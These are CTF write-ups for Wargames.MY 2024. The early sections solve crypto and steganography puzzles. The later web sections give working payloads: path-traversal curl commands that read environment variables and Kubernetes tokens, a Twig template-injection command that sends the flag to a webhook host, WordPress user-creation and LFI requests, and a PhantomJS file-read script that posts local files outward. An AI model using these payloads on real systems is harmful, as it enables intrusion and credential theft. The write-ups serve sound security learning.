Wargames.MY 2024
Writeup by TFS
Last updated
Writeup by TFS
Last updated
Description: We found a leak of a blackmarket website’s login credentials. Can you find the password of the user osman
and successfully decrypt it
passwd.txt: A large file containing numerous lines of hash-like or seemingly random strings, some of which appear in a special format (e.g., ZJPB{...}
).
user.txt: A text file listing many usernames, including the target user osman
.
Identify which line in passwd.txt
corresponds to the user osman
.
Extract and decrypt the user’s password.
Present the password in the final flag format: wgmy{...}
.
Step 1: Matching the User to the Password
We are given two files:
user.txt
: A list of users (one username per line).
passwd.txt
: A similarly sized list of hashed/encoded/obfuscated passwords (one per line).
In typical username-password leaks, the order of lines in user.txt
maps directly to the order in passwd.txt
. This means:
Line N in user.txt
corresponds to Line N in passwd.txt
.
Steps:
Scroll through user.txt
(or search) to find the line containing osman
.
Note its line number.
Step 2: Inspecting the Corresponding Line in passwd.txt
Using the line number from user.txt
, locate the corresponding line in passwd.txt
. For example, suppose the line contains:
ZJPB{e6g180g9f302g8d8gddg1i2174d0e212}
Observations:
The segment outside the braces is ZJPB
.
The segment inside the braces is e6g180g9f302g8d8gddg1i2174d0e212
.
We are given a hint that the flag format should be wgmy{...}
. This implies a relationship between ZJPB
and wgmy
.
Step 3: Recognizing the Cipher Shift
Comparing ZJPB
with wgmy
, we observe:
Each letter has shifted backwards by 3 positions in the alphabet.
Uppercase letters become lowercase:
Thus, ZJPB
becomes wgmy
.
Step 4: Decoding the Braced String
Inside the braces, apply the same -3 shift to each letter. Digits remain unchanged. For example:
e6g180g9f302g8d8gddg1i2174d0e212
Decoded result:
b6d180d9c302d8a8daad1f2174a0b212
Step 5: Constructing the Final Flag
To construct the final flag, replace ZJPB
with wgmy
and use the decoded string:
wgmy{b6d180d9c302d8a8daad1f2174a0b212}
The decrypted password (and final flag) for osman
is:
wgmy{b6d180d9c302d8a8daad1f2174a0b212}
Matched the username osman
to the correct line in passwd.txt
.
Decoded the ZJPB{...}
string using a -3 shift cipher.
Presented the final flag in the required format.
Sequential Mapping: Always consider the possibility of one-to-one mapping in files like user.txt
and passwd.txt
when no additional information is provided.
Cipher Recognition: Simple substitution ciphers (e.g., Caesar cipher with a fixed shift) are commonly used in CTF challenges. Knowing how to identify and decode them is essential.
Attention to Details: Recognizing patterns such as uppercase-to-lowercase conversion and numeric invariance can simplify decoding tasks.
Iterative Problem Solving: Breaking the challenge into smaller steps (e.g., matching, inspecting, decoding, constructing) ensures clarity and minimizes errors.
Flag Formats: Understanding the expected format (wgmy{...}
) can guide your decoding process and validate your final result.
Description: Santa Claus is coming to town! Send your wishes by connecting to the netcat service!
server.py: The server script containing the logic for registering, logging in, and interacting with the "wishlist."
Recover the secret value m
from the server's token generation process.
Generate Santa's valid token using the recovered m
.
Log in as Santa Claus and access the wishlist.
Extract the flag from the wishlist.
Step 1: Analyze the Code
The server script uses a custom token generation process:
A random 128-bit value m
is generated at runtime.
The generateToken
function computes a CRC-like value using m
and the provided name.
The user provides a name and a token. The server verifies the token using the same logic.
We aim to recover m
by analyzing name-token pairs.
Step 2: Collect Name-Token Pairs
The script relies on deterministic token generation. By collecting multiple name-token pairs, we can set up a system of equations to solve for m
.
Sample name-token pairs:
("1", "e196388f5631121fd82f251cde281824"),
("2", "dd694a67c95048de52a8a4124a850d4b"),
("3", "783d362ebd5ad4889c6cc9f06dfd1c1b"),
("4", "a497afb6f792fd5d47a7a60f63df2795"),
("5", "1c3d3ff8398610b8963cbed44a736c5"),
...
Step 3: Solve for m
Using Z3
We wrote a script (recover_m_z3.py
) to solve for m
:
from z3 import *
import binascii
# Initialize Z3 solver
solver = Solver()
# Define m as a 128-bit BitVec
m = BitVec('m', 128)
# Function to process each name-token pair
def hex_to_int(hex_str):
return int(hex_str, 16)
# Add constraints for each name-token pair
for name, token_hex in name_token_pairs:
token_int = hex_to_int(token_hex)
crc = BitVecVal((1 << 128) - 1, 128)
for b in name.encode('utf-8'):
crc ^= b
for _ in range(8):
crc = If(crc & 1, LShR(crc, 1) ^ m, LShR(crc, 1))
solver.add(crc ^ ((1 << 128) - 1) == token_int)
# Solve for m
if solver.check() == sat:
model = solver.model()
m_val = model[m].as_long()
print(f"Recovered m: {hex(m_val)}")
Running the script gives:
Recovered m: 0xe981fb1981bf7f1d6ce59b947e92934f
Step 4: Generate Santa's Token
Using the recovered m
, we generate a valid token for "Santa Claus":
santa_name = "Santa Claus"
santa_token = generate_token(santa_name, m_val)
print(f"Santa's Token: {santa_token}")
Result:
Santa's Token: a367ee652d7050b406ec4dd5e9808827
Step 5: Login and Access Wishlist
We use the generated token to log in as Santa Claus:
Enter your name: Santa Claus
Enter your token: a367ee652d7050b406ec4dd5e9808827
Login successfully as Santa Claus
Access the wishlist:
Enter option: 4
Wishes:
Santa Claus: Merry Christmas! Flag: wgmy{6952956e2749f941428e6d16b169ac91}
The decrypted flag is:
wgmy{6952956e2749f941428e6d16b169ac91}
Recovered the secret value m
by solving the system of equations derived from name-token pairs.
Used m
to generate a valid token for "Santa Claus."
Logged in as Santa Claus and accessed the wishlist to retrieve the flag.
Custom Token Systems: Analyzing token generation processes often reveals vulnerabilities when they rely on deterministic functions.
Z3 Solver: Using symbolic execution tools like Z3 is essential for solving complex constraints in cryptographic challenges.
Systematic Approach: Collecting data, forming equations, and solving incrementally simplifies CTF challenges.
CRC-Like Functions: Understanding common patterns in CRC or hash algorithms can aid in reversing such processes effectively.
Teamwork and Tools: Challenges like these highlight the importance of both logical analysis and technical tools in solving CTF tasks.
Description: My friend Rick designed an alogrithm that is super secure! Feel free to try it!
Description: [25, 10, 0, 3, 17, 19, 23, 27, 4, 13, 20, 8, 24, 21, 31, 15, 7, 29, 6, 1, 9, 30, 22, 5, 28, 18, 26, 11, 2, 14, 16, 12]
challenge.dcm: A DICOM file containing private metadata tags with hidden information.
└─$ file challenge.dcm
challenge.dcm: data
└─$ dcmdump challenge.dcm
# Dicom-File-Format
# Dicom-Meta-Information-Header
# Used TransferSyntax: Unknown Transfer Syntax
# Dicom-Data-Set
# Used TransferSyntax: Little Endian Implicit
(0011,0010) LO [WGMY] # 4, 1 PrivateCreator
(0011,1000) ?? 66\00\00\00 # 4, 1 Unknown Tag & Data
(0011,1001) ?? 36\00\00\00 # 4, 1 Unknown Tag & Data
(0011,1002) ?? 33\00\00\00 # 4, 1 Unknown Tag & Data
(0011,1003) ?? 61\00\00\00 # 4, 1 Unknown Tag & Data
(0011,1004) ?? 63\00\00\00 # 4, 1 Unknown Tag & Data
...
The metadata consists of private tags with hexadecimal values. Each tag's first byte (e.g., 66
from 66\00\00\00
) contains the hidden information.
Extract the hidden data from the DICOM metadata.
Apply the scramble list to reveal the final hidden flag.
Present the flag in the standard format: WGMY{...}
.
Step 1: Extract Relevant Bytes
From the metadata, focus on the first byte of each 4-byte value. The resulting sequence is:
66 36 33 61 63 64 33 62 37 38 31 32 37 63 31 64
37 64 33 65 37 30 30 62 35 35 36 36 35 33 35 34
Step 2: Convert Hex to ASCII
Convert the hex values to ASCII:
f6 3a cd 3b 78 12 7c 1d 7d 3e 70 0b 55 66 53 54
This forms an intermediate 32-character string:
f63acd3b78127c1d7d3e700b55665354
Step 3: Apply Scramble List
The challenge provides a scramble list:
[25, 10, 0, 3, 17, 19, 23, 27, 4, 13, 20, 8, 24, 21, 31, 15, 7, 29, 6, 1, 9, 30, 22, 5, 28, 18, 26, 11, 2, 14, 16, 12]
This list reorders the indices of the hex string. The new string S'
is constructed by mapping:
S'[0] = S[25]
S'[1] = S[10]
S'[2] = S[0]
...
Applying this reordering gives the final string:
51fadeb6cc77504db336850d53623177
Step 4: Wrap as Flag
Wrap the resulting string in the standard CTF flag format:
WGMY{51fadeb6cc77504db336850d53623177}
The decrypted flag is:
WGMY{51fadeb6cc77504db336850d53623177}
Extracted the first byte from each 4-byte value in the DICOM metadata.
Converted these bytes from hex to ASCII, forming an intermediate string.
Used the provided scramble list to reorder the string and reveal the hidden data.
Wrapped the result in the standard flag format.
Metadata Analysis: Private metadata tags in DICOM files can store hidden information that requires manual extraction.
Hexadecimal Conversion: Understanding hex-to-ASCII conversion is essential for decoding hidden strings in binary files.
Scramble Lists: Challenges often involve reordering data using scramble lists. Automating this process with scripts can save time.
CTF Practices: Breaking challenges into smaller steps—like extraction, conversion, and reordering—ensures a systematic and accurate solution.
Description: Here is your christmas GIFt from santa! Just open and wait for it..
gift.gif: A GIF file that contains hidden information across its frames.
Analyze the GIF file to extract hidden data.
Find the flag embedded within the file.
Step 1: Analyze the File Metadata
Using exiftool
, we inspect the metadata of gift.gif
:
└─$ exiftool -a gift.gif
ExifTool Version Number : 12.76
File Name : gift.gif
Directory : .
File Size : 38 MB
File Modification Date/Time : 2024:12:28 00:26:21-05:00
File Access Date/Time : 2024:12:29 03:16:14-05:00
File Inode Change Date/Time : 2024:12:28 00:27:48-05:00
File Permissions : -rwxrwx---
File Type : GIF
File Type Extension : gif
MIME Type : image/gif
GIF Version : 89a
Image Width : 480
Image Height : 480
Has Color Map : Yes
Color Resolution Depth : 8
Bits Per Pixel : 8
Background Color : 0
Frame Count : 1402
Duration : 917492.00 s
Image Size : 480x480
Megapixels : 0.230
Key Observations:
The file contains 1402 frames.
The hidden data is likely embedded in the last frame, as suggested by the challenge description.
Step 2: Extract Frames
To examine the frames, we use GIMP or any frame extraction tool to render all 1402 frames. Follow these steps in GIMP:
Open gift.gif
.
The software automatically renders all 1402 frames as separate layers.
Navigate to the last frame.
Step 3: Locate the Flag
Upon inspecting the 1402nd frame, the following flag is revealed:
wgmy{1eaa6da7b7f5df6f7c0381ca93af4d3}
The extracted flag is:
wgmy{1eaa6da7b7f5df6f7c0381ca93af4d3}
Metadata Analysis: We analyzed the metadata of the GIF file and identified that it contained 1402 frames.
Frame Extraction: Using GIMP, we rendered all frames and inspected the final frame.
Flag Retrieval: The flag was found embedded in the last frame of the GIF.
Frame Analysis: When working with GIF files, extracting and analyzing individual frames can reveal hidden information.
Metadata Inspection: Tools like exiftool
are essential for identifying important details such as frame counts and durations.
CTF Techniques: Challenges involving GIFs often hide data in specific frames, requiring systematic examination of the entire file.
Tool Familiarity: Knowledge of image manipulation software like GIMP is invaluable for frame-based challenges.
Description: The flag is hidden somewhere in this GIF. You can't see it? Must be written in transparent ink.
challenge.gif: A GIF file with multiple frames, some of which contain hidden data.
Extract the hidden flag embedded within the frames of the GIF.
Step 1: Analyze the File Metadata
Using exiftool
, we inspect the metadata of challenge.gif
:
└─$ exiftool -a challenge.gif
ExifTool Version Number : 12.76
File Name : challenge.gif
Directory : .
File Size : 60 kB
File Modification Date/Time : 2024:12:27 13:44:00-05:00
File Access Date/Time : 2024:12:28 02:14:11-05:00
File Inode Change Date/Time : 2024:12:27 15:33:03-05:00
File Permissions : -rwxrwx---
File Type : GIF
File Type Extension : gif
MIME Type : image/gif
GIF Version : 89a
Image Width : 400
Image Height : 400
Has Color Map : Yes
Color Resolution Depth : 1
Bits Per Pixel : 8
Background Color : 0
Animation Iterations : Infinite
Transparent Color : 2
Frame Count : 7
Duration : 4.02 s
Image Size : 400x400
Megapixels : 0.160
Key Observations:
The file contains 7 frames.
Transparency is used, suggesting hidden information might be embedded using alpha layers or color maps.
Step 2: Analyze Frames
To examine the individual frames, we use Stegsolve.jar
:
Open challenge.gif
in Stegsolve.
Use the Frame Browser function to analyze all 7 frames.
Frames 5 and 6 show unusual visuals, indicating they likely contain the hidden flag.
Step 3: Save and Analyze Frames 5 and 6
Save frames 5 and 6 as separate PNG files.
Open frame 5 in Stegsolve and apply the Alpha Plane 7 filter. This reveals half of the flag.
Save the processed frame 5 as a new PNG file.
Open frame 6 in Stegsolve and apply the Random Color Map 3 filter. This reveals the other half of the flag.
Save the processed frame 6 as another new PNG file.
Step 4: Combine Processed Frames
Open the processed frame 5 in Stegsolve.
Use the Image Combiner function to merge it with the processed frame 6.
The full flag is now visible.
Step 5: Extract the Flag
The combined image reveals the flag:
wgmy{41d8cd98f00b204e9800998ecf8427e}
The extracted flag is:
wgmy{41d8cd98f00b204e9800998ecf8427e}
Metadata Analysis: We analyzed the GIF's metadata and identified frames 5 and 6 as containing hidden data.
Frame Extraction: Using Stegsolve
, we examined individual frames and applied appropriate filters.
Flag Reconstruction: Combining the processed frames revealed the complete flag.
Transparency Layers: Hidden data in GIFs often utilizes transparency or alpha channels. Familiarity with these techniques is crucial.
Frame Browser for GIFs: Using the Frame Browser function in tools like Stegsolve
allows for easy separation and inspection of frames, which is essential for identifying where data is embedded.
Filters in Stegsolve: Different filters (e.g., Alpha Plane or Random Color Map) can reveal obscured information in images, highlighting the importance of trying various options.
Image Combining: When fragments of information are spread across frames, combining processed images systematically can uncover the full hidden data.
Tool Expertise: Developing proficiency with tools like Stegsolve
not only aids in solving challenges but also improves efficiency in recognizing common steganography patterns in CTFs.
Description: Got this from social media, someone said it's watermarked, is it?
watermarked.gif: A GIF file with multiple frames, potentially containing hidden watermarks.
Split the GIF into individual frames for processing.
Decode watermarks embedded in each frame using the "Watermark Anything" framework.
Compile the extracted messages to identify any coherent data, such as a flag or meaningful text.
Step 1: Frame Extraction
The GIF was split into 78 individual frames using the ffmpeg
tool.
Command Used:
ffmpeg -i watermarked.gif -vf "fps=30" frames/frame_%03d.png
This command created PNG images named sequentially (e.g., frame_001.png
, frame_002.png
).
Step 2: Watermark Decoding
Each frame was processed using the following Python script leveraging the "Watermark Anything" framework:
import os
import numpy as np
from PIL import Image
import torch
import torch.nn.functional as F
from watermark_anything.data.metrics import msg_predict_inference
from notebooks.inference_utils import (
load_model_from_checkpoint,
default_transform,
msg2str,
multiwm_dbscan,
)
# Device setup: Use GPU if available, otherwise fallback to CPU
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
# Function to load images
def load_img(path):
img = Image.open(path).convert("RGB")
img = default_transform(img).unsqueeze(0).to(device) # Transform and add batch dimension
return img
# Load the Watermark Anything model from checkpoint
exp_dir = "checkpoints"
json_path = os.path.join(exp_dir, "params.json")
ckpt_path = os.path.join(exp_dir, "wam_mit.pth")
wam = load_model_from_checkpoint(json_path, ckpt_path).to(device).eval()
# Function to convert binary to ASCII
def binary_to_ascii(binary_string):
n = 8 # 8 bits per character
ascii_text = "".join(
chr(int(binary_string[i:i + n], 2)) for i in range(0, len(binary_string), n)
)
return ascii_text
# Function to detect and decode a watermark
def detect_watermark(image_path, wam):
# Load and preprocess the image
img_pt = load_img(image_path)
# Detect the watermark in the image
preds = wam.detect(img_pt)["preds"] # Predictions: [1, 33, 256, 256]
mask_preds = F.sigmoid(preds[:, 0, :, :]) # Predicted mask: [1, 256, 256]
bit_preds = preds[:, 1:, :, :] # Predicted bits: [1, 32, 256, 256]
# Decode the message
pred_message = msg_predict_inference(bit_preds, mask_preds).cpu().float() # [1, 32]
binary_message = "".join(str(int(bit)) for bit in pred_message[0].tolist()) # Convert to binary string
ascii_message = binary_to_ascii(binary_message) # Convert binary to ASCII
return ascii_message
# Parameters
img_dir = "frames" # Directory containing the extracted frames
output_file = "decoded_messages.txt" # File to save all decoded messages
# Process each frame and compile decoded messages
print(f"Processing frames from: {img_dir}")
all_decoded_messages = []
for frame_file in sorted(os.listdir(img_dir)):
if not frame_file.endswith(".png"):
continue
frame_path = os.path.join(img_dir, frame_file)
# Detect and decode watermark
print(f"Detecting watermark in frame: {frame_file}")
decoded_message = detect_watermark(frame_path, wam)
all_decoded_messages.append(f"Frame {frame_file}: {decoded_message}")
print(f"Decoded Message: {decoded_message}")
# Save all decoded messages to a single file
with open(output_file, "w") as f:
f.write("\n".join(all_decoded_messages))
print(f"\nAll decoded messages have been saved to {output_file}")
Key Notes:
The script utilized the "Watermark Anything" framework available on GitHub.
It was executed in the provided Colab notebook for GPU acceleration.
Step 3: Key Output
Decoded messages from frames 42 to 54 revealed the flag:
Frame frame_042.png: u: w
Frame frame_043.png: gmy{
Frame frame_044.png: 2cc4
Frame frame_045.png: 6df0
Frame frame_046.png: 6df0
Frame frame_047.png: fb62
Frame frame_048.png: c2a9
Frame frame_049.png: 2732
Frame frame_050.png: a4d2
Frame frame_051.png: 52b8
Frame frame_052.png: 52b8
Frame frame_053.png: d9a7
Frame frame_054.png: }. T
Compiling the meaningful segments from these messages forms the flag:
wgmy{2cc46df06df0fb62c2a92732a4d252b852b8d9a7}
The reconstructed flag is:
wgmy{2cc46df06df0fb62c2a92732a4d252b852b8d9a7}
Frame Extraction: We used ffmpeg
to split the GIF into 78 frames for individual analysis.
Watermark Decoding: The "Watermark Anything" framework decoded hidden messages from the extracted frames.
Flag Compilation: Combining meaningful segments from the decoded messages revealed the hidden flag.
GIF Frame Splitting: Tools like ffmpeg
are efficient for extracting individual frames from animated GIFs.
Watermark Detection: The "Watermark Anything" framework is highly effective for identifying and decoding embedded messages in images.
Binary-to-ASCII Conversion: Understanding binary encoding and ASCII decoding is crucial for reconstructing meaningful messages from raw data.
Sequential Processing: Systematic frame-by-frame analysis helps isolate relevant information, especially in steganographic challenges.
Colab for GPU Acceleration: Leveraging cloud platforms like Colab can significantly speed up computational tasks like watermark detection.
Description: Good morning everyone (GMT+8), let's do some warmup! Check out dart.wgmy @ 13.76.138.239
Dart Web Application Source Code: A server using the Jaguar web framework.
curl: For HTTP requests to exploit the directory traversal vulnerability.
Identify potential vulnerabilities in the Dart web application.
Exploit the vulnerability to access the environment variable.
Extract the flag.
Step 1: Analyze the Web Application
Source Code Review:
The web application uses the Jaguar framework and serves static files from /app/public
:
import 'package:jaguar/jaguar.dart';
void main() async {
final server = Jaguar(port: 80);
server.staticFiles('/*', '/app/public');
server.log.onRecord.listen(print);
await server.serve(logRequests: true);
}
Vulnerability Identification:
A known issue in the Jaguar framework (https://github.com/Jaguar-dart/jaguar/issues/157) allows directory traversal via ..%2F
in URLs.
This can potentially expose sensitive files, including environment variables.
Step 2: Exploiting Directory Traversal
Crafting the Exploit:
Using curl
, construct a URL to access /proc/self/environ
through directory traversal:
curl "http://dart.wgmy/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc/self/environ" --output env
Output:
The environment variable dump includes the flag:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=dart-5cc994657c-jr6gk
WGMY_FLAG=wgmy{1ab97a2708d6190bf882c1acc283984a}
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
...
The extracted flag is:
wgmy{1ab97a2708d6190bf882c1acc283984a}
Source Code Analysis: Identified a directory traversal vulnerability in the Jaguar framework.
Exploit Construction: Used curl
to exploit the vulnerability and access /proc/self/environ
.
Flag Retrieval: Extracted the flag from the environment variable dump.
Framework Vulnerabilities: Be aware of known issues in web frameworks, as they can introduce critical vulnerabilities.
Environment Variables: Sensitive information should not be stored in plain-text environment variables accessible by the application.
Kubernetes Security: Ensure proper container security practices, such as restricting access to /proc
and other sensitive directories.
Exploit Construction: Crafting precise directory traversal paths can effectively exploit vulnerable applications.
Description: Can you get the secret this time? Check out nginx.wgmy @ 13.76.138.239
Dart Web Application Configuration: Includes server setup and Vault integration.
Nginx Configuration: Contains rules for proxying and access control to the Vault.
curl: For HTTP requests to exploit LFI and retrieve the flag.
jq: For parsing JSON responses.
Exploit the Local File Inclusion (LFI) vulnerability to access the service account token.
Use the service account token to authenticate with the Vault.
Retrieve the flag stored in the Vault.
Step 1: Retrieve Service Account Token
Exploiting LFI:
The LFI vulnerability from the Warmup challenge is used to access the Kubernetes service account token:
curl "http://dart.wgmy/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar/run/secrets/kubernetes.io/serviceaccount/token" --output token.txt
The token is saved to token.txt
for subsequent use.
Step 2: Obtain Vault Client Token
Using the Service Account Token:
The service account token is used to authenticate with the Vault's Kubernetes login endpoint:
VAULT_TOKEN=$(curl -s -X POST "http://nginx.wgmy/vault/v1/auth/kubernetes/login" \
-H "Content-Type: application/json" \
-H "X-Real-IP: 10.0.0.1" \
-d @- <<EOF | jq -r '.auth.client_token'
{
"jwt": "$(cat token.txt)",
"role": "wgmy"
}
EOF
)
The VAULT_TOKEN
is extracted from the JSON response.
Step 3: Retrieve the Flag
Accessing the Vault API:
With the Vault client token, send a request to retrieve the flag stored in the kv
secret engine:
curl -s "http://nginx.wgmy/vault/v1/kv/data/flag" \
-H "X-Vault-Token: ${VAULT_TOKEN}" \
-H "X-Real-IP: 10.0.0.1"
Output:
The response contains the flag in the data
section.
The extracted flag is:
wgmy{1bc665d324c5bd5e7707909d03217681}
Service Account Token Extraction: Used LFI to access the Kubernetes service account token.
Vault Authentication: Authenticated with the Vault API using the service account token to obtain a client token.
Flag Retrieval: Queried the Vault to extract the flag.
LFI Exploitation: Leveraging directory traversal vulnerabilities can expose sensitive credentials like service account tokens.
Vault Access: Properly securing Vault authentication methods is crucial to prevent unauthorized access.
IP Restrictions: Misconfigured access controls (e.g., allowing spoofed IPs) can undermine security measures.
Time-Sensitive Tokens: The use of short-lived tokens increases the complexity for attackers but can still be exploited if immediate actions are possible.
Description: Capture the admin's heart with your poetic words, and they might share their secrets in return. 🎭
Source Code: Includes index.php
and admin.php
files.
Dockerfile Configuration: Highlights PHP settings (register_argc_argv=On
).
Burp Suite: For crafting and sending HTTP requests.
Python FTP Server: To host malicious Twig templates.
Analyze the Twig templating engine integration.
Leverage the --templatesPath
vulnerability for Remote Code Execution (RCE).
Retrieve the flag by bypassing restrictions and exploiting the application.
Step 1: Analyzing the Web Application
Twig Integration:
The application uses Twig templating in the admin_review.twig
template via the admin.php
script:
// index.php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['poem'])) {
$poem = trim($_POST['poem']);
$ch = curl_init('http://localhost/admin.php?poem=' . urlencode($poem));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
}
// admin.php
$poem = trim($_GET['poem']);
$uniqueId = uniqid('poem_', true);
Relevant Observations:
The register_argc_argv=On
setting allows passing arguments via argv
to the PHP script.
Twig’s --templatesPath
argument can be used to specify a custom template path.
Reference:
The research article on Assetnote explains how to exploit this feature: https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms
Step 2: Bypassing the Blacklist
Blacklist in config.php
:
$forbidden = [
'system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open',
'assert', 'pcntl_exec', 'eval', 'call_user_func', 'ReflectionFunction', 'filter', '~'
];
Bypass Technique:
Use string concatenation to circumvent the system
restriction:
<div data-gb-custom-block data-tag="set" data-0='s' data-1='s' data-2='s' data-3=',' data-4=',' data-5='s' data-6='t' data-7=',' data-8=',' data-9='m' data-10='' data-11='' data-12='' data-13=''></div>
{{ ['whoami'] | map(cmd) }}
Step 3: Hosting the Malicious Template
Setup FTP Server:
Host the malicious Twig template using Python’s FTP library:
python3 -m pyftpdlib -p 2121 -w
Malicious Template Payload:
<div data-gb-custom-block data-tag="set" data-0='s' data-1='s' data-2='s' data-3=',' data-4=',' data-5='s' data-6='t' data-7=',' data-8=',' data-9='m' data-10='' data-11='' data-12='' data-13=''></div>
{{ ['cat /flag* | curl -X POST -d @- https://webhook.site/062c9157-61d7-4417-95f6-dd084c2b0c89'] | map(cmd) }}
Step 4: Exploiting the Application
HTTP Request via Burp Suite:
Submit the crafted payload to exploit the --templatesPath
argument:
POST /index.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
poem=Roses+are+red%0AViolets+are+blue%0ASugar+is+sweet+--templatesPath=ftp://anonymous:@<hostedserverip>:2121/
Result:
The payload sends the flag to the specified webhook.
The extracted flag is:
wgmy{eae236d68a96aed8af76923357728478}
Twig RCE Exploitation: Exploited --templatesPath
in Twig to achieve RCE.
Blacklist Bypass: Circumvented forbidden function checks using string concatenation.
Payload Execution: Used a custom FTP-hosted Twig template to retrieve the flag.
Misconfigured PHP Settings: Improper use of register_argc_argv
can expose applications to exploitation.
Template Path Injection: Avoid allowing user-defined template paths without strict validation.
Blacklist Limitations: Function blacklists are insufficient for securing applications against determined attackers.
Description: I’ve set up a WordPress eCommerce site for a client. Can you check if it’s secure enough for production? Give it a look and see if anything stands out.
WordPress Instance: Includes WooCommerce plugin and custom plugins.
Plugins:
cities-shipping-zones-for-woocommerce
wgmy-functions
curl: For interacting with WordPress REST API and admin-ajax endpoints.
Burp Suite: For intercepting and modifying HTTP requests.
Exploit the custom plugin (wgmy-functions
) to retrieve a secret.
Leverage the secret to create a new WordPress user with administrative privileges.
Use the cities-shipping-zones-for-woocommerce
plugin to achieve Local File Inclusion (LFI) and extract the flag.
Step 1: Analyze the wgmy-functions
Plugin
REST Endpoint to Add User:
The user_creation_menu
function allows adding a new user if the correct secret is provided.
add_action( 'rest_api_init', function () {
register_rest_route( 'wgmy/v1', '/add_user', array(
'methods' => 'POST',
'callback' => 'user_creation_menu',
'permission_callback' => '__return_true',
));
});
Fetching the Secret:
The get_config
function reveals the secret when switch=1
is sent via the admin-ajax.php
endpoint:
add_action("wp_ajax_get_config", "get_config");
add_action("wp_ajax_nopriv_get_config", "get_config");
function get_config() {
if (isset($_POST["switch"]) && $_POST["switch"] === "1") {
$secret_value = get_option('wgmy_secret');
if ($secret_value) {
echo json_encode(array('secret' => $secret_value));
}
}
}
Retrieve the Secret:
Use the following curl
command:
curl -X POST -d "switch=1" "http://46.137.193.2/wp-admin/admin-ajax.php?action=get_config"
Output:
{"secret":"owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx"}
Step 2: Add a New User
Create User:
Use the retrieved secret to add a shop_manager
user:
curl -X POST "http://46.137.193.2/wp-json/wgmy/v1/add_user" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "role=shop_manager&login=myuser&password=SecureP@ss123&email=myemail@example.com&secret=owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx"
Output:
{"message":"User created successfully!","user_id":3}
Log In:
Use the newly created credentials to log into WordPress.
Step 3: Exploit LFI in cities-shipping-zones-for-woocommerce
Plugin
Vulnerable Code:
The wc_sanitize_option_wc_csz_set_zone_locations
function uses include()
without sufficient sanitization:
public function wc_sanitize_option_wc_csz_set_zone_locations( $value, $option ) {
if (!empty($value) && !empty($_POST['wc_csz_countries_codes']) && !empty($_POST['wc_csz_set_zone_country'])) {
include('i18n/cities/' . $_POST['wc_csz_set_zone_country'] . '.php');
}
}
LFI Exploitation:
Intercept the request in Burp Suite and modify the wc_csz_set_zone_country
parameter to include a path traversal payload:
POST /wp-admin/admin-ajax.php?action=get_config HTTP/1.1
Host: 46.137.193.2
Content-Type: application/x-www-form-urlencoded
wc_csz_set_zone_country=../../../../../../../../flag
Flag Extraction:
The response body contains the flag.
The extracted flag is:
wgmy{7beb8af77b68e7d8c68170b1cc2c0e91}
Secret Extraction: Retrieved the secret via an insecure admin-ajax.php
endpoint.
User Creation: Used the secret to create a shop_manager
user.
LFI Exploitation: Leveraged the vulnerable include()
function to access sensitive files.
REST API Security: Secure REST endpoints with proper authentication and input validation.
File Inclusion Vulnerabilities: Avoid dynamic file inclusion without strict sanitization and validation.
Plugin Hardening: Regularly audit plugins for potential vulnerabilities, especially those involving user-controlled input.
Description: Built a file sharing website using ChatGPT! Feel free to try it!
The challenge comes with the following files:
myfile.zip
├── admin.php
├── bootstrap.min.css
├── dashboard.php
├── download.php
├── dropzone.js
├── index.php
├── logout.php
├── myfile.png
├── report.php
├── style.css
├── upload.php
└── view.php
Exploit the PhantomJS CVE-2019-17221 vulnerability.
Read sensitive files from the server.
Retrieve admin credentials.
Log in to the admin dashboard and retrieve the flag.
Step 1: Analyze the Report Functionality
The report.php
file lets users submit a URL for the admin bot to check. The admin bot runs PhantomJS version 2.1.1, which is vulnerable to CVE-2019-17221, allowing arbitrary file reads.
Relevant snippet from report.php
:
if(isset($_POST['url'])){
if (filter_var($_POST['url'], FILTER_VALIDATE_URL) && preg_match("^http(s)?^", parse_url($_POST['url'], PHP_URL_SCHEME))) {
system("/phantomjs-2.1.1-linux-x86_64/bin/phantomjs --ignore-ssl-errors=true --local-to-remote-url-access=true --web-security=false --ssl-protocol=any /bot.js " . urlencode($_POST['url']) . " REDACTED");
echo("<p class='text-success'>Admin will view the URL shortly!</p>");
} else {
echo("<p class='text-danger'>Invalid URL!</p>");
}
}
Step 2: Crafting the Exploit
We exploit PhantomJS by hosting a malicious page that uses an XMLHttpRequest (XHR) to read local files via the file://
protocol. The payload is designed to extract the contents of /var/www/html/report.php
.
Malicious HTML payload:
<html>
<head></head>
<body>
<script>
x = new XMLHttpRequest();
x.onload = function() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://webhook.site/YOUR-UID", true);
xhr.send(JSON.stringify({ response: this.responseText }));
};
x.open("GET", "file:///var/www/html/report.php");
x.send();
</script>
</body>
</html>
Step 3: Execute the Exploit
Host the malicious HTML page on a server.
Submit the hosted page’s URL to the report.php
form.
Capture the admin bot’s response via a webhook.
Step 4: Extract the Admin Credentials
The response reveals the content of report.php
, which includes the following:
system("/phantomjs-2.1.1-linux-x86_64/bin/phantomjs --ignore-ssl-errors=true --local-to-remote-url-access=true --web-security=false --ssl-protocol=any /bot.js " . urlencode($_POST['url']) . " ccc9851c3ce6ceb05707bb796e49e8b02d9ce15ef1cfb8318f6baadde09cb6bd");
The admin password is: ccc9851c3ce6ceb05707bb796e49e8b02d9ce15ef1cfb8318f6baadde09cb6bd
.
Step 5: Login and Retrieve the Flag
Use the credentials to log in at admin.php
.
Download the flag from the admin dashboard.
The flag is:
wgmy{2e51ed84b09a65cec62b50ce8bc7e57c}
PhantomJS Vulnerability: Ensure web tools like PhantomJS are updated to mitigate known vulnerabilities.
File Inclusion Risks: Restrict file protocols such as file://
and enforce strict URL validation.
Credential Exposure: Avoid hardcoding sensitive information like passwords in server-side scripts.
